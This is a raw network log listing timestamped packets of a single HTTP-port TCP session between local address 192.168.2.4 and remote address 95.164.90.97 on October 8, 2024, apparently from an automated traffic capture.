Oct 8, 2024 02:45:24.325918913 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.325922012 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.325947046 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.325967073 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.326354027 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.326387882 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.326421022 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.326446056 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.326453924 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.326469898 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.326488018 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.326491117 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.326523066 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.326525927 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.326556921 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.326587915 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.326595068 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.326620102 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.326625109 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.326656103 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.326658964 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.326695919 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.327059984 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.327095032 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.327120066 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.327131987 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.362143993 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.362210989 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.362245083 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.362246037 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.362252951 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.362278938 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.362292051 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.362384081 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.362416029 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.362433910 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.362451077 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.362468004 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.362479925 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.362493992 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.362524986 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.383255959 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.383306026 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.383335114 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.383353949 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.383379936 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.383387089 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.383435011 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.383467913 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.383500099 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.383519888 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.383534908 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.383553028 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.383577108 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.383654118 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.383699894 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.383713961 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.383759022 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.383857965 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.383888960 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.383908987 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.383920908 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.383929014 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.383955956 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.384001017 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.384121895 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.384154081 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.384171963 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.384203911 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.384210110 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.384248018 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.384624004 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.384679079 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.384685993 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.384720087 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.384728909 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.384763956 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.384809017 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.384859085 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.384924889 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.384955883 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.384974957 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.384989023 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.384995937 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.385025024 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.385030031 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.385067940 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.385178089 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.385226965 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.385273933 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.385307074 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.385324001 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.385339022 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.385349035 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.385385036 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.385430098 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.385462046 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.385478020 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.385495901 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.385507107 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.385526896 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.385539055 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.385572910 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.385754108 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.385792971 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.385802984 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.385827065 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.385832071 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.385860920 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.385873079 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.385895014 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.385901928 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.385929108 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.385941029 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.385965109 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.385973930 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.386008024 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.386324883 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.386357069 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.386377096 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.386389971 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.386399984 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.386421919 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.386435986 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.386456013 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.386465073 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.386490107 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.386502981 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.386529922 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.386538029 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.386558056 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.386574984 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.386604071 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.386890888 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.386923075 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.386945963 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.386955023 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.386957884 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.386993885 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.387003899 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.387027979 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.387037039 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.387061119 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.387072086 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.387094975 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.387104988 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.387128115 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.387140036 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.387162924 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.387171030 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.387207031 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.387435913 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.387465000 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.387485981 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.387501001 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.387516022 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.387550116 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.387562990 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.387581110 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.387592077 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.387614012 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.387624979 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.387649059 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.387658119 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.387692928 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.390156031 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.390206099 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.390213013 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.390239000 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.390248060 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.390281916 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.390311956 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.390327930 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.390341997 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.390358925 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.390364885 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.390371084 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.390383959 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.390408039 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.390520096 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.390563011 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.390574932 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.390616894 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.390640020 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.390655041 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.390688896 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.390700102 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.390778065 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.390793085 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.390806913 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.390822887 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.390825033 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.390831947 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.390837908 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.390861988 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.390883923 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.391061068 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.391074896 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.391088963 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.391103029 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.391110897 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.391117096 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.391117096 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.391144037 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.391160965 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.391325951 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.391341925 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.391374111 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.391391993 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.391391993 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.391411066 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.391426086 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.391438961 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.391453028 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.391478062 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.391716003 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.391731024 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.391746044 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.391757011 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.391763926 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.391787052 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.391803026 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.416464090 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.416511059 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.416568041 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.416618109 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.416618109 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.416618109 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.416650057 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.416652918 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.416662931 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.416687012 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.416697979 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.416721106 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.416732073 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.416758060 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.416764021 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.416805983 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.416891098 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.416923046 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.416939974 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.416955948 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.416965008 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.416990042 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.416997910 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.417023897 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.417036057 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.417058945 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.417068005 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.417104006 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.417347908 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.417381048 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.417397976 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.417413950 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.417419910 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.417448044 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.417484045 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.417494059 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.417514086 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.417525053 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.417558908 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.417737961 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.417773008 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.417794943 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.417809963 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.452678919 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.452730894 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.452763081 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.452764034 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.452770948 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.452815056 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.452871084 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.452903032 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.452934980 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.452950001 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.452969074 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.452981949 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.453015089 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.453111887 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.453162909 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.474796057 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.474829912 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.474862099 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.474880934 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.474889040 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.474910975 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.474920034 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.474953890 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.474967003 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.474988937 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.474997997 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.475035906 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.475079060 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.475109100 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.475117922 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.475152016 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.475234032 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.475266933 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.475286007 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.475300074 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.475308895 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.475334883 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.475338936 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.475379944 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.475563049 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.475610018 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.475723028 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.475756884 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.475780964 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.475790024 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.475801945 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.475828886 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.476057053 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.476118088 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.476238012 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.476269960 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.476291895 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.476309061 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.476386070 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.476418018 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.476438999 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.476450920 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.476459980 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.476486921 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.476497889 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.476531029 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.476531982 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.476581097 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.476583004 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.476617098 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.476627111 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.476650000 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.476663113 CEST	51293	80	192.168.2.4	95.164.90.97
